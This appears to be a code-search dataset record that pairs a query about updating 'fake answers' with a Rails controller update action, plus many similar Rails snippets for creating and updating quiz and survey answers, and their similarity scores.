"def create\n @submitted_answer = SubmittedAnswer.new(params[:submitted_answer])\n\n respond_to do |format|\n if @submitted_answer.save\n format.html { redirect_to @submitted_answer, notice: 'Submitted answer was successfully created.' }\n format.json { render json: @submitted_answer, status: :created, location: @submitted_answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @submitted_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.build(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @question, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n question_response = QuestionResponse.build_response_essay(current_user, params)\n\n if question_response.try :save\n render json: { message: \"answer saved\" }\n else\n render json: { message: \"error\" }, status: :unprocessable_entity\n end\n end",
"def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new(params[:answer])\n @answer.user = current_user\n @answer.score = 0\n @answer.fav = 0\n @user = User.find(@question.user_id)\n\n respond_to do |format|\n if @answer.save\n UserMailer.answer_email(@user).deliver\n format.html { redirect_to @question, notice: 'Respuesta creada correctamente.' }\n format.json { render json: @question, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pre_test_answer = PreTestAnswer.new(pre_test_answer_params)\n\n respond_to do |format|\n if @pre_test_answer.save\n format.html { redirect_to @pre_test_answer, notice: 'Pre test answer was successfully created.' }\n format.json { render :show, status: :created, location: @pre_test_answer }\n else\n format.html { render :new }\n format.json { render json: @pre_test_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if @test.done.blank?\n redirect_to root_path, warning: \"This test have not finished yet\"\n return\n end\n params[:submission] = {}\n params[:submission][:user_id] = current_user.id\n @submission = @test.submissions.create(submission_params)\n respond_to do |format|\n if @submission.save\n @test.questions.each do |question|\n question.answers.each do |answer|\n answer.answers_of_questions.create({choice: false, question_id: question.id, submission_id: @submission.id})\n end\n end\n format.html { redirect_to edit_test_submission_path(@test, @submission) }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n @answer = current_user.answers.new(answer_params)\n @answer.question = @question\n @question.update(cant_answers: @question.cant_answers + 1)\n @answer.puntaje = 0\n @answer.best = false;\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer.question, notice: 'Respuesta creada satisfactoriamente' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @asked_to_answer = AskedToAnswer.new(asked_to_answer_params)\n\n respond_to do |format|\n if @asked_to_answer.save\n format.html { redirect_to @asked_to_answer, notice: 'Asked to answer was successfully created.' }\n format.json { render :show, status: :created, location: @asked_to_answer }\n else\n format.html { render :new }\n format.json { render json: @asked_to_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = @question.answers.build(answer_params)\n @answer.save\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end",
"def answered\n @the_question = Question.find(params[:id])\n @the_question.answered = true\n @the_question.save\n render json: [{question: @the_question}]\n end",
"def create\n @answer_respondent = AnswerRespondent.new(answer_respondent_params)\n\n respond_to do |format|\n if @answer_respondent.save\n format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully created.' }\n format.json { render :show, status: :created, location: @answer_respondent }\n else\n format.html { render :new }\n format.json { render json: @answer_respondent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def store_answers\n @user_choice = params[:userChoiceData]\n @user_data = params[:userId]\n is_save = AnswerService.store_answers(@user_choice, @user_data)\n if is_save\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end",
"def create\n @answer = Answer.new(answer_params.merge(user_id: current_user.id))\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to question_path(@answer.question) }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.create!(question_params.merge({user_id: 1}))\n if question_params[:answers]\n question_params[:answers].with_indifferent_access.each do |answer|\n Answer.create!(name: answer[:name], question_id: @question.id)\n end\n end\n @question.prepare\n @question.broadcast\n render json: @question, status: :created\n end",
"def create\n @user_answer = UserAnswer.new(params[:user_answer])\n respond_to do |format|\n if @user_answer.save\n format.html { redirect_to games_pickquestion_path, notice: 'User answer was successfully created.' }\n format.json { render json: @user_answer, status: :created, location: games_pickquestion_path }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answer\n @assessment = Assessment.new(assessment_params)\n @assessment.user_id = current_user.id\n if @assessment.save\n @assessment.update_attributes(check_user_answer)\n render json: @assessment.as_json(only: [:question_id, :user_option, :is_correct,:is_skipped]), status: :created\n else\n render json: @assessment.errors, status: :unprocessable_entity\n end\n end",
"def post_params\n params.require(:answer).permit(:answer)\n end",
"def create\n @answer = current_user.answers.build(params[:answer])\n if @answer.save\n @post = @answer.post\n Notifier.delay.new_answer(@post.user, @answer)\n if @post.user != current_user\n current_user.update_attributes(cred_count: current_user.cred_count + 10)\n end\n return render status: 200, json: { success: true }\n else\n return render :status => :unprocessable_entity,\n :json => { success: false, :error => \"There was a problem posting your advice.\" }\n end\n end",
"def sync_user_answers\n return head :ok if params[:user_answers].blank?\n\n user_exam = current_user.user_exams.find(params[:id])\n user_exam.user_answers.create! user_answers_params\n\n head :ok\n end",
"def verify_answer\n answer = Answer.find(params[:id])\n\n respond_to do |format|\n if answer.verify_answer(params)\n format.json { render :json => true }\n else\n format.json { render :json => false }\n end\n end\n end",
"def answer_params\n params.require(:answer).permit(:body,:anonymous)\n end",
"def answer_params\n params.require(:answer).permit(:body)\n end",
"def create\n #p params\n if params[:results].present? && params[:results][:answers].present?\n answers = params[:results][:answers] \n params[:results].delete :answers\n #params[:aspects]=params[:aspects]+1\n end\n\n #p \"Array?: \" + params[:results][:aspects].is_a?(Array).to_s\n #p \"String?: \" + params[:results][:aspects].is_a?(String).to_s\n \n @results = Result.create(params[:results])\n if answers\n answers.each do |answer|\n @results.answers.build(answer)\n end\n end\n\n if @results.save\n\n # @results.send_email\n @results.delay.send_email\n end\n\n respond_with(@results)\n end",
"def create\n @possible_answer = PossibleAnswer.new(possible_answer_params)\n\n respond_to do |format|\n if @possible_answer.save\n format.html { redirect_to @possible_answer, notice: 'Possible answer was successfully created.' }\n format.json { render :show, status: :created, location: @possible_answer }\n else\n format.html { render :new }\n format.json { render json: @possible_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quizzes_answer = Quizzes::Answer.new(quizzes_answer_params)\n\n respond_to do |format|\n if @quizzes_answer.save\n format.html { redirect_to @quizzes_answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @quizzes_answer }\n else\n format.html { render :new }\n format.json { render json: @quizzes_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_save_advice\r\n \r\n post :save_advice, :id => @Questionnaire, :advice => { \"#{Fixtures.identify(:advice0)}\"=> { :advice => \"test\" } } \r\n \r\n assert_response :redirect\r\n assert_equal \"The questionnaire's question advice was successfully saved\", flash[:notice]\r\n assert_redirected_to :action => 'list'\r\n end",
"def create\n @user_answer = UserAnswer.new(user_answer_params)\n\n respond_to do |format|\n if @user_answer.save\n format.html { redirect_to @user_answer, notice: 'User answer was successfully created.' }\n format.json { render :show, status: :created, location: @user_answer }\n else\n format.html { render :new }\n format.json { render json: @user_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @survey = Survey.find(params[:survey_id])\n emoji = params[:emoji]\n mood = params[:mood]\n @feeling = Feeling.new(mood: mood, emoji: emoji)\n @survey.feelings << @feeling\n\n if @feeling.save\n render :ok, json: @feeling\n else\n @errors = @feelings.error.full_messages\n render json: {message: @errors}, status: :unprocessable_entity\n end\n\n if !@survey\n render json: {message: [\"Survey is Required!\"] }, status: :unprocessable_entity\n end\n end",
"def create\n @client_answer = ClientAnswer.new(params[:client_answer])\n\n respond_to do |format|\n if @client_answer.save\n format.html { redirect_to @client_answer, notice: 'Client answer was successfully created.' }\n format.json { render json: @client_answer, status: :created, location: @client_answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @survey_user_answer = SurveyUserAnswer.new(survey_user_answer_params)\n\n respond_to do |format|\n if @survey_user_answer.save\n format.html { redirect_to @survey_user_answer, notice: 'Survey user answer was successfully created.' }\n format.json { render :show, status: :created, location: @survey_user_answer }\n else\n format.html { render :new }\n format.json { render json: @survey_user_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_save_advice\r\n \r\n post :save_advice, :id => @Questionnaire, :advice => { \"1\"=> { :advice => \"test\" } } \r\n \r\n assert_response :redirect\r\n assert_equal \"The questionnaire's question advice was successfully saved\", flash[:notice]\r\n assert_redirected_to :action => 'list'\r\n end",
"def create\n @question = Question.find(params[:question_id])\n\n if !@question\n redirect_to :controller => :questions, :action => \"show\", :id => params[:question_id]\n end\n @answer = @question.answers.build(params[:answer])\n @answer.user_id = @current_user.id\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @question, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answer_params\n params.require(:answer).permit(:body, :question_id, :status)\n end",
"def answer_params\n params.require(:answer).permit(:user_id, :question_id, :content, :is_tweet, :is_anonymous)\n end",
"def create\n @tipo_answer = TipoAnswer.new(tipo_answer_params)\n\n respond_to do |format|\n if @tipo_answer.save\n format.html { redirect_to @tipo_answer, notice: 'Tipo answer was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_answer }\n else\n format.html { render :new }\n format.json { render json: @tipo_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end",
"def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end",
"def update\n answer = current_user.answers.create!(quiz: @quiz, correctness: (params[:answer].to_i > 0) )\n\n respond_to do |format|\n format.html { redirect_to topic_quiz_path(@quiz, @quiz.topic), notice: 'Your answer is saved.' }\n format.json { render :show, status: :ok, location: topic_quiz_path(@quiz, @quiz.topic) }\n end\n end",
"def create\n @response = Response.new(params[:response])\n @response.ip_address = request.remote_ip\n @response.survey_id = @survey.id\n @response.user_id = current_user\n \n for param in params do\n if param[0] =~ /^question_id_/\n # handle all question parameters\n # $' represents the value of the question_id\n if param[1].is_a? Hash\n # Valid keys include country, option, year, month, day and numeric option_id\n if param[1].has_key? \"year\" && \"month\" && \"day\"\n # concat year, month and day into one answer\n @response.answers.build(:question_id => $', :answer => Date.new(param[1][\"year\"].to_i, param[1][\"month\"].to_i, param[1][\"day\"].to_i) )\n elsif param[1].has_key? \"option\"\n # look up option id for radio & select questions and build answer\n option_id = Option.find_by_label_and_question_id(param[1][\"option\"], $').id\n @response.answers.build(:question_id => $', :answer => param[1][\"option\"], :option_id => option_id)\n elsif param[1].has_key? \"country\"\n # build country answer\n @response.answers.build(:question_id => $', :answer => param[1][\"country\"])\n else\n # build checkbox and likert answers\n param[1].each do |key, value|\n @response.answers.build(:question_id => $', :answer => value, :option_id => key) unless value == \"0\"\n end\n end\n else\n # build answer without option ie text, textarea\n @response.answers.build(:question_id => $', :answer => param[1] ) #unless param[1].blank?\n end \n end\n if param[0] == 'token'\n @response.survey.update_invitation(param[1])\n end\n end\n\n respond_to do |format|\n if @response.save!\n flash[:notice] = 'Response was successfully created.'\n format.html { redirect_to([@survey, @response]) }\n format.xml { render :xml => @response, :status => :created, :location => @response }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @response.errors, :status => :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordInvalid => invalid\n render :action => \"new\"\n end",
"def create\n @picture_test_answer = PictureTestAnswer.new(picture_test_answer_params)\n\n respond_to do |format|\n if @picture_test_answer.save\n format.html { redirect_to @picture_test_answer, notice: 'Picture test answer was successfully created.' }\n format.json { render :show, status: :created, location: @picture_test_answer }\n else\n format.html { render :new }\n format.json { render json: @picture_test_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ask_questions\n if request.post?\n @album = Album.find( params[:answers][:album_id])\n @user = @album.user\n @question = Question.find params[:answers][:question_id]\n Answer.create(question: @question,\n content: params[:answers][:content],\n guest: current_guest)\n logger.info \"GUEST: #{current_guest}\"\n @questions = params[:answers][:questions].gsub('[','').\n gsub(']','').\n split(',').\n map{|id| id.to_i}\n if @questions.any?\n @album_id = @album.id\n @question = Question.find(@questions.first)\n @questions = @questions[1..-1]\n respond_to do |format|\n format.js\n format.html\n end\n else\n #reset_session\n render 'guests/thank_you'\n end\n end\n end",
"def answer_params\n params.require(:answer).permit(:content, :question_id, :response_id)\n end",
"def create\n @quick_answer = QuickAnswer.new(params[:quick_answer])\n @quick_answer.quick_question_id = params[:quick_question_id]\n @quick_answer.user_id = params[:user_id]\n @quick_answer.save\n \n respond_to do |format|\n if @quick_answer.save\n format.html { redirect_to :back }\n format.json { render json: @quick_answer, status: :created, location: @quick_answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quick_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @submitted_answer = SubmittedAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to(@answer, :notice => 'Answer was successfully created.') }\n format.xml { render :xml => @answer, :status => :created, :location => @answer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to(@answer, :notice => 'Answer was successfully created.') }\n format.xml { render :xml => @answer, :status => :created, :location => @answer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n render json: @answer\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def answer_params\n params.require(:answer).permit(:content)\n end",
"def answer_params\n params.require(:answer).permit(:question_number, :question_response, :taker_id, :question_id)\n end",
"def answer_params\n params.require(:answer).permit(:description)\n end",
"def answer_params\n params.require(:answer).permit(:body, :question_id)\n end",
"def answer_params\n params.require(:answer).permit(:content, :user_id, :post_id)\n end",
"def destroy\n @fake_answer.destroy\n respond_to do |format|\n format.html { redirect_to fake_answers_url, notice: 'Fake answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n \n respond_to do |format|\n \n if !params[:questions].nil? \n params[:questions].each {\n |q| \n type = Question.find_by_id(q[0]).question_type\n answer = (type == 2 ? Answer.find_by_id(q[1]).correct : nil)\n Response.new( \n {\n \"question_id\" => q[0],\n \"answer_id\" => type == 2 ? q[1] : nil,\n \"text\" => type == 1 ? q[1] : nil,\n \"user_id\" => current_user.id,\n \"question_group_id\" => params[:response][:question_group_id],\n \"correct\" => answer\n }\n ).save\n }\n format.html { redirect_to '/responses', notice: 'Your responses were successfully saved.' }\n else\n @response = Response.new(params[:response])\n if @response.save\n format.html { redirect_to @response, notice: 'Response was successfully created.' }\n format.json { render json: @response, status: :created, location: @response }\n end\n end\n end\n end",
"def create\n @user = User.find(params[:id])\n @user.answer_ids = params[:answers]\n\n unless (StudentsQuiz.find_by(student_id: params[:id], publication_id: params[:quiz][:id]))\n respond_to do |format|\n format.json { render json: { marks: @user.answer_quiz(params[:answers], params[:quiz][:id]), total_marks: Publication.find(params[:quiz][:id]).quiz.marks.to_f } }\n end\n else\n respond_to do |format|\n format.json { render json: { errors: \"You have answered before\" }, status: :unprocessable_entity }\n end\n end\n end",
"def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end",
"def create\n @answer = Answer.new answer_params.merge user_id: current_user.id\n @answer.build_post embedded_post_params\n respond_to do |format|\n if @answer.save\n format.js { render 'load_answer' }\n else\n format.js { render 'empty_form_alert' }\n end\n end\n end",
"def create\n @test = Test.new(test_params)\n # @solved = UserAnswer.new()\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render action: 'show', status: :created, location: @test }\n else\n format.html { render action: 'new' }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n # @solved = UserAnswer.new(solved_params)\n # raise params @solved.inspect\n # if @solved.save\n # flash[:success] = \"Data saved\"\n # else\n # flash[:alert] = \"Data not saved\"\n # end\nend",
"def create\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n @survey = Survey.new(json)\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if answer_params['content'].length == 0\n flash[:alert] = \"Nice try, answer can't be blank!!\"\n redirect_to controller: 'questions', action: 'show', id: answer_params['question_id']\n else\n @answer = Answer.new(answer_params)\n respond_to do |format|\n if @answer.save\n flash[:notice] = \"Answer was successfully created!!\"\n format.html { redirect_to controller: 'questions', action: 'show', id: @answer.question_id}\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @check_answer = CheckAnswer.new(check_answer_params)\n\n respond_to do |format|\n if @check_answer.save\n format.html { redirect_to @check_answer, notice: 'Check answer was successfully created.' }\n format.json { render :show, status: :created, location: @check_answer }\n else\n format.html { render :new }\n format.json { render json: @check_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @b_answer = @b_question.b_answers.build(b_answer_params)\n\n respond_to do |format|\n if @b_answer.save\n format.html { redirect_to b_question_path(@b_question) }\n format.json { render action: 'show', status: :created, location: @b_answer }\n else\n format.html { render action: 'new' }\n format.json { render json: @b_answer.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.70002824",
"0.6714093",
"0.66228753",
"0.66215265",
"0.6574405",
"0.65624535",
"0.64825547",
"0.64625627",
"0.6457008",
"0.64533365",
"0.64462394",
"0.6436141",
"0.64115065",
"0.64115065",
"0.6404387",
"0.6402076",
"0.63927054",
"0.6369385",
"0.6366281",
"0.63653",
"0.6358095",
"0.6358095",
"0.6341335",
"0.6331524",
"0.63232076",
"0.6313959",
"0.6310636",
"0.6295245",
"0.6286099",
"0.62689114",
"0.62526006",
"0.6247246",
"0.6232591",
"0.62228304",
"0.6219498",
"0.62168443",
"0.6204291",
"0.61834097",
"0.6155958",
"0.6152715",
"0.6122751",
"0.611935",
"0.6114661",
"0.6108802",
"0.6102375",
"0.610107",
"0.6089258",
"0.6082223",
"0.6078159",
"0.60669816",
"0.6053274",
"0.6027813",
"0.6025353",
"0.60218555",
"0.59807956",
"0.59717697",
"0.5965086",
"0.5960142",
"0.5949423",
"0.59422076",
"0.593988",
"0.5937262",
"0.5937057",
"0.59245557",
"0.59149945",
"0.59149945",
"0.5914299",
"0.59133404",
"0.59023035",
"0.5899182",
"0.58960706",
"0.5894984",
"0.5894792",
"0.5876611",
"0.5876611",
"0.5874046",
"0.58724236",
"0.58724236",
"0.5869147",
"0.5869147",
"0.58570343",
"0.58529544",
"0.58529544",
"0.58529544",
"0.58529544",
"0.58529544",
"0.5847138",
"0.58412987",
"0.5837623",
"0.5823867",
"0.58225095",
"0.58198345",
"0.5819287",
"0.5809101",
"0.580864",
"0.57992196",
"0.5790999",
"0.57909906",
"0.5790955",
"0.57840043"
] | 0.7353894 | 0 |
PATCH/PUT /fake_answers/1 PATCH/PUT /fake_answers/1.json | def update
respond_to do |format|
if @fake_answer.update(fake_answer_params)
format.html { redirect_to @fake_answer, notice: 'Fake answer was successfully updated.' }
format.json { render :show, status: :ok, location: @fake_answer }
else
format.html { render :edit }
format.json { render json: @fake_answer.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @question = Question.update(params[:id], { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n respond_to do |format|\n format.json { render :json => @question.as_json({:include => :answers}) }\n\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render :action => \"edit\" }\n # format.json { render :json => @question.errors, :status => :unprocessable_entity }\n # end\n end\n end",
"def update\n @answer = current_user.answers.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.json { head :no_content }\n else\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n if @answer.update(answer_params)\n head :no_content\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end",
"def update_correct_answer\n question_params = params.permit(:question_id, :question_type_id, :option_id)\n \n render json: Question.update_correct_option(question_params)\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to questions_url, notice: 'Answer edited.' }\n else\n format.json {\n render json: @answer.errors,\n status: :unprocessable_entity\n }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n answer = Answer.find(params[:answer_id])\n if answer.update(content: params[:content])\n render json: {answer: answer, success: true} \n else\n render json: @answer.errors, success: false \n end\n end",
"def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @answer.update(answer_params)\n\t\t\t\tformat.html { redirect_to @answer, notice: 'Survey was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @answer.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to @answer, notice: 'Respuesta actualizada correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to answers_path, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n def answer_given(question_id)\n return (params[:answer] and params[:answer][question_id.to_s] and\n params[:answer][question_id.to_s].length > 0)\n end\n \n @resp = Response.find(params[:id])\n\n @questionnaire.questions.each do |question|\n if question.kind_of? Questions::Field\n ans = Answer.find_answer(@resp, question)\n if answer_given(question.id)\n if ans.nil?\n ans = Answer.new :question_id => question.id, :response_id => @resp.id\n end\n ans.value = params[:answer][question.id.to_s]\n ans.save\n else\n # No answer provided\n if not ans.nil?\n ans.destroy\n end\n end\n end\n end\n\n respond_to do |format|\n if @resp.update_attributes(params[:response])\n format.html { redirect_to(response_url(@questionnaire, @resp)) }\n format.js { redirect_to(response_url(@questionnaire, @resp, :format => \"js\")) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.js { render :action => \"edit\" }\n format.xml { render :xml => @resp.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @answer=AttemptAnswer.find_by_id(params[:id])\n \n @answer.update_attribute(:user_answer, params[:user_answer])\n if @answer.user_answer = params[:user_answer]\n render json: @answer, status: :no_content\n\n else\n head(:unprocessable_entity)\n\n end\n end",
"def update\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new(answer_params)\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to question_answer_url(@question, @answer), notice: \"Answer was successfully updated.\" }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_answer\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to :planner, notice: 'Answer was successfully updated.' }\n format.json { respond_with_bip(@answer) }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question_answer = Question::Answer.find(params[:id])\n\n respond_to do |format|\n if @question_answer.update_attributes(params[:question_answer])\n format.html { redirect_to @question_answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
